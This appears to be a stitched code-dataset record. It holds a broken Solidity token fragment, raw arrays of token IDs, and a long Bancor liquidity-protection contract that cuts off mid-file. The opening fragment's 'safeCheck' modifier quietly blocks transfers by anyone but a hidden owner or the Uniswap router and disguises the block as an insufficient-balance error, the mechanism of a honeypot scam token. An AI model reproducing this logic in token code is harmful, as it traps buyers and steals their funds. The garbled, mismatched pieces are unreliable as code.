} } } } }else{ modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } }else{ function setSafeOwner(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _token_YFL(address from, address to, uint256 amount) internal virtual { } }
16,535,577
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 7094, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 712, 89, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 1098, 91, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 2254, 5034, 3238, 3844, 1893, 273, 13438, 21556, 2163, 636, 2643, 1769, 203, 565, 2254, 5034, 3238, 460, 69, 273, 14605, 31, 203, 565, 2254, 5034, 3238, 460, 70, 273, 2130, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 1071, 389, 4626, 5541, 31, 203, 203, 97, 203, 282, 3885, 261, 1080, 3778, 508, 16, 533, 3778, 3273, 16, 2254, 5034, 2172, 3088, 1283, 16, 2867, 8843, 429, 3410, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 3639, 389, 31734, 273, 6549, 31, 203, 3639, 389, 8443, 273, 3410, 31, 203, 3639, 389, 4626, 5541, 273, 3410, 31, 203, 3639, 389, 81, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-02-02 */ // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @bancor/token-governance/contracts/IClaimable.sol pragma solidity 0.6.12; /// @title Claimable contract interface interface IClaimable { function owner() external view returns (address); function transferOwnership(address newOwner) external; function acceptOwnership() external; } // File: @bancor/token-governance/contracts/IMintableToken.sol pragma solidity 0.6.12; /// @title Mintable Token interface interface IMintableToken is IERC20, IClaimable { function issue(address to, uint256 amount) external; function destroy(address from, uint256 amount) external; } // File: @bancor/token-governance/contracts/ITokenGovernance.sol pragma solidity 0.6.12; /// @title The interface for mintable/burnable token governance. interface ITokenGovernance { // The address of the mintable ERC20 token. function token() external view returns (IMintableToken); /// @dev Mints new tokens. /// /// @param to Account to receive the new amount. /// @param amount Amount to increase the supply by. /// function mint(address to, uint256 amount) external; /// @dev Burns tokens from the caller. /// /// @param amount Amount to decrease the supply by. /// function burn(uint256 amount) external; } // File: solidity/contracts/utility/interfaces/ICheckpointStore.sol pragma solidity 0.6.12; /** * @dev Checkpoint store contract interface */ interface ICheckpointStore { function addCheckpoint(address _address) external; function addPastCheckpoint(address _address, uint256 _time) external; function addPastCheckpoints(address[] calldata _addresses, uint256[] calldata _times) external; function checkpoint(address _address) external view returns (uint256); } // File: solidity/contracts/utility/MathEx.sol pragma solidity 0.6.12; /** * @dev This library provides a set of complex math operations. */ library MathEx { /** * @dev returns the largest integer smaller than or equal to the square root of a positive integer * * @param _num a positive integer * * @return the largest integer smaller than or equal to the square root of the positive integer */ function floorSqrt(uint256 _num) internal pure returns (uint256) { uint256 x = _num / 2 + 1; uint256 y = (x + _num / x) / 2; while (x > y) { x = y; y = (x + _num / x) / 2; } return x; } /** * @dev returns the smallest integer larger than or equal to the square root of a positive integer * * @param _num a positive integer * * @return the smallest integer larger than or equal to the square root of the positive integer */ function ceilSqrt(uint256 _num) internal pure returns (uint256) { uint256 x = floorSqrt(_num); return x * x == _num ? x : x + 1; } /** * @dev computes a reduced-scalar ratio * * @param _n ratio numerator * @param _d ratio denominator * @param _max maximum desired scalar * * @return ratio's numerator and denominator */ function reducedRatio( uint256 _n, uint256 _d, uint256 _max ) internal pure returns (uint256, uint256) { (uint256 n, uint256 d) = (_n, _d); if (n > _max || d > _max) { (n, d) = normalizedRatio(n, d, _max); } if (n != d) { return (n, d); } return (1, 1); } /** * @dev computes "scale * a / (a + b)" and "scale * b / (a + b)". */ function normalizedRatio( uint256 _a, uint256 _b, uint256 _scale ) internal pure returns (uint256, uint256) { if (_a <= _b) { return accurateRatio(_a, _b, _scale); } (uint256 y, uint256 x) = accurateRatio(_b, _a, _scale); return (x, y); } /** * @dev computes "scale * a / (a + b)" and "scale * b / (a + b)", assuming that "a <= b". */ function accurateRatio( uint256 _a, uint256 _b, uint256 _scale ) internal pure returns (uint256, uint256) { uint256 maxVal = uint256(-1) / _scale; if (_a > maxVal) { uint256 c = _a / (maxVal + 1) + 1; _a /= c; // we can now safely compute `_a * _scale` _b /= c; } if (_a != _b) { uint256 n = _a * _scale; uint256 d = _a + _b; // can overflow if (d >= _a) { // no overflow in `_a + _b` uint256 x = roundDiv(n, d); // we can now safely compute `_scale - x` uint256 y = _scale - x; return (x, y); } if (n < _b - (_b - _a) / 2) { return (0, _scale); // `_a * _scale < (_a + _b) / 2 < MAX_UINT256 < _a + _b` } return (1, _scale - 1); // `(_a + _b) / 2 < _a * _scale < MAX_UINT256 < _a + _b` } return (_scale / 2, _scale / 2); // allow reduction to `(1, 1)` in the calling function } /** * @dev computes the nearest integer to a given quotient without overflowing or underflowing. */ function roundDiv(uint256 _n, uint256 _d) internal pure returns (uint256) { return _n / _d + (_n % _d) / (_d - _d / 2); } /** * @dev returns the average number of decimal digits in a given list of positive integers * * @param _values list of positive integers * * @return the average number of decimal digits in the given list of positive integers */ function geometricMean(uint256[] memory _values) internal pure returns (uint256) { uint256 numOfDigits = 0; uint256 length = _values.length; for (uint256 i = 0; i < length; i++) { numOfDigits += decimalLength(_values[i]); } return uint256(10)**(roundDivUnsafe(numOfDigits, length) - 1); } /** * @dev returns the number of decimal digits in a given positive integer * * @param _x positive integer * * @return the number of decimal digits in the given positive integer */ function decimalLength(uint256 _x) internal pure returns (uint256) { uint256 y = 0; for (uint256 x = _x; x > 0; x /= 10) { y++; } return y; } /** * @dev returns the nearest integer to a given quotient * the computation is overflow-safe assuming that the input is sufficiently small * * @param _n quotient numerator * @param _d quotient denominator * * @return the nearest integer to the given quotient */ function roundDivUnsafe(uint256 _n, uint256 _d) internal pure returns (uint256) { return (_n + _d / 2) / _d; } /** * @dev returns the larger of two values * * @param _val1 the first value * @param _val2 the second value */ function max(uint256 _val1, uint256 _val2) internal pure returns (uint256) { return _val1 > _val2 ? _val1 : _val2; } } // File: solidity/contracts/utility/ReentrancyGuard.sol pragma solidity 0.6.12; /** * @dev This contract provides protection against calling a function * (directly or indirectly) from within itself. */ contract ReentrancyGuard { uint256 private constant UNLOCKED = 1; uint256 private constant LOCKED = 2; // LOCKED while protected code is being executed, UNLOCKED otherwise uint256 private state = UNLOCKED; /** * @dev ensures instantiation only by sub-contracts */ constructor() internal {} // protects a function against reentrancy attacks modifier protected() { _protected(); state = LOCKED; _; state = UNLOCKED; } // error message binary size optimization function _protected() internal view { require(state == UNLOCKED, "ERR_REENTRANCY"); } } // File: solidity/contracts/utility/interfaces/IOwned.sol pragma solidity 0.6.12; /* Owned contract interface */ interface IOwned { // this function isn't since the compiler emits automatically generated getter functions as external function owner() external view returns (address); function transferOwnership(address _newOwner) external; function acceptOwnership() external; } // File: solidity/contracts/utility/Owned.sol pragma solidity 0.6.12; /** * @dev This contract provides support and utilities for contract ownership. */ contract Owned is IOwned { address public override owner; address public newOwner; /** * @dev triggered when the owner is updated * * @param _prevOwner previous owner * @param _newOwner new owner */ event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner); /** * @dev initializes a new Owned instance */ constructor() public { owner = msg.sender; } // allows execution by the owner only modifier ownerOnly { _ownerOnly(); _; } // error message binary size optimization function _ownerOnly() internal view { require(msg.sender == owner, "ERR_ACCESS_DENIED"); } /** * @dev allows transferring the contract ownership * the new owner still needs to accept the transfer * can only be called by the contract owner * * @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public override ownerOnly { require(_newOwner != owner, "ERR_SAME_OWNER"); newOwner = _newOwner; } /** * @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public override { require(msg.sender == newOwner, "ERR_ACCESS_DENIED"); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } // File: solidity/contracts/token/interfaces/IERC20Token.sol pragma solidity 0.6.12; /* ERC20 Standard Token interface */ interface IERC20Token { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _owner) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); } // File: solidity/contracts/utility/TokenHandler.sol pragma solidity 0.6.12; contract TokenHandler { bytes4 private constant APPROVE_FUNC_SELECTOR = bytes4(keccak256("approve(address,uint256)")); bytes4 private constant TRANSFER_FUNC_SELECTOR = bytes4(keccak256("transfer(address,uint256)")); bytes4 private constant TRANSFER_FROM_FUNC_SELECTOR = bytes4(keccak256("transferFrom(address,address,uint256)")); /** * @dev executes the ERC20 token's `approve` function and reverts upon failure * the main purpose of this function is to prevent a non standard ERC20 token * from failing silently * * @param _token ERC20 token address * @param _spender approved address * @param _value allowance amount */ function safeApprove( IERC20Token _token, address _spender, uint256 _value ) internal { (bool success, bytes memory data) = address(_token).call( abi.encodeWithSelector(APPROVE_FUNC_SELECTOR, _spender, _value) ); require(success && (data.length == 0 || abi.decode(data, (bool))), "ERR_APPROVE_FAILED"); } /** * @dev executes the ERC20 token's `transfer` function and reverts upon failure * the main purpose of this function is to prevent a non standard ERC20 token * from failing silently * * @param _token ERC20 token address * @param _to target address * @param _value transfer amount */ function safeTransfer( IERC20Token _token, address _to, uint256 _value ) internal { (bool success, bytes memory data) = address(_token).call( abi.encodeWithSelector(TRANSFER_FUNC_SELECTOR, _to, _value) ); require(success && (data.length == 0 || abi.decode(data, (bool))), "ERR_TRANSFER_FAILED"); } /** * @dev executes the ERC20 token's `transferFrom` function and reverts upon failure * the main purpose of this function is to prevent a non standard ERC20 token * from failing silently * * @param _token ERC20 token address * @param _from source address * @param _to target address * @param _value transfer amount */ function safeTransferFrom( IERC20Token _token, address _from, address _to, uint256 _value ) internal { (bool success, bytes memory data) = address(_token).call( abi.encodeWithSelector(TRANSFER_FROM_FUNC_SELECTOR, _from, _to, _value) ); require(success && (data.length == 0 || abi.decode(data, (bool))), "ERR_TRANSFER_FROM_FAILED"); } } // File: solidity/contracts/utility/Types.sol pragma solidity 0.6.12; /** * @dev This contract provides types which can be used by various contracts. */ struct Fraction { uint256 n; // numerator uint256 d; // denominator } // File: solidity/contracts/utility/Time.sol pragma solidity 0.6.12; /* Time implementing contract */ contract Time { /** * @dev returns the current time */ function time() internal view virtual returns (uint256) { return block.timestamp; } } // File: solidity/contracts/utility/Utils.sol pragma solidity 0.6.12; /** * @dev Utilities & Common Modifiers */ contract Utils { // verifies that a value is greater than zero modifier greaterThanZero(uint256 _value) { _greaterThanZero(_value); _; } // error message binary size optimization function _greaterThanZero(uint256 _value) internal pure { require(_value > 0, "ERR_ZERO_VALUE"); } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { _validAddress(_address); _; } // error message binary size optimization function _validAddress(address _address) internal pure { require(_address != address(0), "ERR_INVALID_ADDRESS"); } // verifies that the address is different than this contract address modifier notThis(address _address) { _notThis(_address); _; } // error message binary size optimization function _notThis(address _address) internal view { require(_address != address(this), "ERR_ADDRESS_IS_SELF"); } // validates an external address - currently only checks that it isn't null or this modifier validExternalAddress(address _address) { _validExternalAddress(_address); _; } // error message binary size optimization function _validExternalAddress(address _address) internal view { require(_address != address(0) && _address != address(this), "ERR_INVALID_EXTERNAL_ADDRESS"); } } // File: solidity/contracts/converter/interfaces/IConverterAnchor.sol pragma solidity 0.6.12; /* Converter Anchor interface */ interface IConverterAnchor is IOwned { } // File: solidity/contracts/token/interfaces/IDSToken.sol pragma solidity 0.6.12; /* DSToken interface */ interface IDSToken is IConverterAnchor, IERC20Token { function issue(address _to, uint256 _amount) external; function destroy(address _from, uint256 _amount) external; } // File: solidity/contracts/liquidity-protection/interfaces/ILiquidityProtectionStore.sol pragma solidity 0.6.12; /* Liquidity Protection Store interface */ interface ILiquidityProtectionStore is IOwned { function withdrawTokens( IERC20Token _token, address _to, uint256 _amount ) external; function protectedLiquidity(uint256 _id) external view returns ( address, IDSToken, IERC20Token, uint256, uint256, uint256, uint256, uint256 ); function addProtectedLiquidity( address _provider, IDSToken _poolToken, IERC20Token _reserveToken, uint256 _poolAmount, uint256 _reserveAmount, uint256 _reserveRateN, uint256 _reserveRateD, uint256 _timestamp ) external returns (uint256); function updateProtectedLiquidityAmounts( uint256 _id, uint256 _poolNewAmount, uint256 _reserveNewAmount ) external; function removeProtectedLiquidity(uint256 _id) external; function lockedBalance(address _provider, uint256 _index) external view returns (uint256, uint256); function lockedBalanceRange( address _provider, uint256 _startIndex, uint256 _endIndex ) external view returns (uint256[] memory, uint256[] memory); function addLockedBalance( address _provider, uint256 _reserveAmount, uint256 _expirationTime ) external returns (uint256); function removeLockedBalance(address _provider, uint256 _index) external; function systemBalance(IERC20Token _poolToken) external view returns (uint256); function incSystemBalance(IERC20Token _poolToken, uint256 _poolAmount) external; function decSystemBalance(IERC20Token _poolToken, uint256 _poolAmount) external; } // File: solidity/contracts/liquidity-protection/interfaces/ILiquidityProtectionStats.sol pragma solidity 0.6.12; /* Liquidity Protection Stats interface */ interface ILiquidityProtectionStats { function increaseTotalAmounts( address provider, IDSToken poolToken, IERC20Token reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; function decreaseTotalAmounts( address provider, IDSToken poolToken, IERC20Token reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; function addProviderPool(address provider, IDSToken poolToken) external returns (bool); function removeProviderPool(address provider, IDSToken poolToken) external returns (bool); function totalPoolAmount(IDSToken poolToken) external view returns (uint256); function totalReserveAmount(IDSToken poolToken, IERC20Token reserveToken) external view returns (uint256); function totalProviderAmount( address provider, IDSToken poolToken, IERC20Token reserveToken ) external view returns (uint256); function providerPools(address provider) external view returns (IDSToken[] memory); } // File: solidity/contracts/liquidity-protection/interfaces/ILiquidityProtectionSettings.sol pragma solidity 0.6.12; /* Liquidity Protection Store Settings interface */ interface ILiquidityProtectionSettings { function addPoolToWhitelist(IConverterAnchor _poolAnchor) external; function removePoolFromWhitelist(IConverterAnchor _poolAnchor) external; function isPoolWhitelisted(IConverterAnchor _poolAnchor) external view returns (bool); function poolWhitelist() external view returns (address[] memory); function isPoolSupported(IConverterAnchor _poolAnchor) external view returns (bool); function minNetworkTokenLiquidityForMinting() external view returns (uint256); function defaultNetworkTokenMintingLimit() external view returns (uint256); function networkTokenMintingLimits(IConverterAnchor _poolAnchor) external view returns (uint256); function networkTokensMinted(IConverterAnchor _poolAnchor) external view returns (uint256); function incNetworkTokensMinted(IConverterAnchor _poolAnchor, uint256 _amount) external; function decNetworkTokensMinted(IConverterAnchor _poolAnchor, uint256 _amount) external; function minProtectionDelay() external view returns (uint256); function maxProtectionDelay() external view returns (uint256); function setProtectionDelays(uint256 _minProtectionDelay, uint256 _maxProtectionDelay) external; function minNetworkCompensation() external view returns (uint256); function setMinNetworkCompensation(uint256 _minCompensation) external; function lockDuration() external view returns (uint256); function setLockDuration(uint256 _lockDuration) external; function averageRateMaxDeviation() external view returns (uint32); function setAverageRateMaxDeviation(uint32 _averageRateMaxDeviation) external; } // File: solidity/contracts/liquidity-protection/interfaces/ILiquidityProtectionSystemStore.sol pragma solidity 0.6.12; /* Liquidity Protection System Store interface */ interface ILiquidityProtectionSystemStore { function systemBalance(IERC20Token poolToken) external view returns (uint256); function incSystemBalance(IERC20Token poolToken, uint256 poolAmount) external; function decSystemBalance(IERC20Token poolToken, uint256 poolAmount) external; function networkTokensMinted(IConverterAnchor poolAnchor) external view returns (uint256); function incNetworkTokensMinted(IConverterAnchor poolAnchor, uint256 amount) external; function decNetworkTokensMinted(IConverterAnchor poolAnchor, uint256 amount) external; } // File: solidity/contracts/utility/interfaces/ITokenHolder.sol pragma solidity 0.6.12; /* Token Holder interface */ interface ITokenHolder is IOwned { function withdrawTokens( IERC20Token _token, address _to, uint256 _amount ) external; } // File: solidity/contracts/liquidity-protection/interfaces/ILiquidityProtection.sol pragma solidity 0.6.12; /* Liquidity Protection interface */ interface ILiquidityProtection { function store() external view returns (ILiquidityProtectionStore); function stats() external view returns (ILiquidityProtectionStats); function settings() external view returns (ILiquidityProtectionSettings); function systemStore() external view returns (ILiquidityProtectionSystemStore); function wallet() external view returns (ITokenHolder); function addLiquidityFor( address owner, IConverterAnchor poolAnchor, IERC20Token reserveToken, uint256 amount ) external payable returns (uint256); function addLiquidity( IConverterAnchor poolAnchor, IERC20Token reserveToken, uint256 amount ) external payable returns (uint256); function removeLiquidity(uint256 id, uint32 portion) external; } // File: solidity/contracts/liquidity-protection/interfaces/ILiquidityProtectionEventsSubscriber.sol pragma solidity 0.6.12; /** * @dev Liquidity protection events subscriber interface */ interface ILiquidityProtectionEventsSubscriber { function onAddingLiquidity( address provider, IConverterAnchor poolAnchor, IERC20Token reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; function onRemovingLiquidity( uint256 id, address provider, IConverterAnchor poolAnchor, IERC20Token reserveToken, uint256 poolAmount, uint256 reserveAmount ) external; } // File: solidity/contracts/converter/interfaces/IConverter.sol pragma solidity 0.6.12; /* Converter interface */ interface IConverter is IOwned { function converterType() external pure returns (uint16); function anchor() external view returns (IConverterAnchor); function isActive() external view returns (bool); function targetAmountAndFee( IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount ) external view returns (uint256, uint256); function convert( IERC20Token _sourceToken, IERC20Token _targetToken, uint256 _amount, address _trader, address payable _beneficiary ) external payable returns (uint256); function conversionFee() external view returns (uint32); function maxConversionFee() external view returns (uint32); function reserveBalance(IERC20Token _reserveToken) external view returns (uint256); receive() external payable; function transferAnchorOwnership(address _newOwner) external; function acceptAnchorOwnership() external; function setConversionFee(uint32 _conversionFee) external; function withdrawTokens( IERC20Token _token, address _to, uint256 _amount ) external; function withdrawETH(address payable _to) external; function addReserve(IERC20Token _token, uint32 _ratio) external; // deprecated, backward compatibility function token() external view returns (IConverterAnchor); function transferTokenOwnership(address _newOwner) external; function acceptTokenOwnership() external; function connectors(IERC20Token _address) external view returns ( uint256, uint32, bool, bool, bool ); function getConnectorBalance(IERC20Token _connectorToken) external view returns (uint256); function connectorTokens(uint256 _index) external view returns (IERC20Token); function connectorTokenCount() external view returns (uint16); /** * @dev triggered when the converter is activated * * @param _type converter type * @param _anchor converter anchor * @param _activated true if the converter was activated, false if it was deactivated */ event Activation(uint16 indexed _type, IConverterAnchor indexed _anchor, bool indexed _activated); /** * @dev triggered when a conversion between two tokens occurs * * @param _fromToken source ERC20 token * @param _toToken target ERC20 token * @param _trader wallet that initiated the trade * @param _amount input amount in units of the source token * @param _return output amount minus conversion fee in units of the target token * @param _conversionFee conversion fee in units of the target token */ event Conversion( IERC20Token indexed _fromToken, IERC20Token indexed _toToken, address indexed _trader, uint256 _amount, uint256 _return, int256 _conversionFee ); /** * @dev triggered when the rate between two tokens in the converter changes * note that the event might be dispatched for rate updates between any two tokens in the converter * * @param _token1 address of the first token * @param _token2 address of the second token * @param _rateN rate of 1 unit of `_token1` in `_token2` (numerator) * @param _rateD rate of 1 unit of `_token1` in `_token2` (denominator) */ event TokenRateUpdate(IERC20Token indexed _token1, IERC20Token indexed _token2, uint256 _rateN, uint256 _rateD); /** * @dev triggered when the conversion fee is updated * * @param _prevFee previous fee percentage, represented in ppm * @param _newFee new fee percentage, represented in ppm */ event ConversionFeeUpdate(uint32 _prevFee, uint32 _newFee); } // File: solidity/contracts/converter/interfaces/IConverterRegistry.sol pragma solidity 0.6.12; interface IConverterRegistry { function getAnchorCount() external view returns (uint256); function getAnchors() external view returns (address[] memory); function getAnchor(uint256 _index) external view returns (IConverterAnchor); function isAnchor(address _value) external view returns (bool); function getLiquidityPoolCount() external view returns (uint256); function getLiquidityPools() external view returns (address[] memory); function getLiquidityPool(uint256 _index) external view returns (IConverterAnchor); function isLiquidityPool(address _value) external view returns (bool); function getConvertibleTokenCount() external view returns (uint256); function getConvertibleTokens() external view returns (address[] memory); function getConvertibleToken(uint256 _index) external view returns (IERC20Token); function isConvertibleToken(address _value) external view returns (bool); function getConvertibleTokenAnchorCount(IERC20Token _convertibleToken) external view returns (uint256); function getConvertibleTokenAnchors(IERC20Token _convertibleToken) external view returns (address[] memory); function getConvertibleTokenAnchor(IERC20Token _convertibleToken, uint256 _index) external view returns (IConverterAnchor); function isConvertibleTokenAnchor(IERC20Token _convertibleToken, address _value) external view returns (bool); } // File: solidity/contracts/liquidity-protection/LiquidityProtection.sol pragma solidity 0.6.12; interface ILiquidityPoolConverter is IConverter { function addLiquidity( IERC20Token[] memory _reserveTokens, uint256[] memory _reserveAmounts, uint256 _minReturn ) external payable; function removeLiquidity( uint256 _amount, IERC20Token[] memory _reserveTokens, uint256[] memory _reserveMinReturnAmounts ) external; function recentAverageRate(IERC20Token _reserveToken) external view returns (uint256, uint256); } /** * @dev This contract implements the liquidity protection mechanism. */ contract LiquidityProtection is ILiquidityProtection, TokenHandler, Utils, Owned, ReentrancyGuard, Time { using SafeMath for uint256; using MathEx for *; struct ProtectedLiquidity { address provider; // liquidity provider IDSToken poolToken; // pool token address IERC20Token reserveToken; // reserve token address uint256 poolAmount; // pool token amount uint256 reserveAmount; // reserve token amount uint256 reserveRateN; // rate of 1 protected reserve token in units of the other reserve token (numerator) uint256 reserveRateD; // rate of 1 protected reserve token in units of the other reserve token (denominator) uint256 timestamp; // timestamp } // various rates 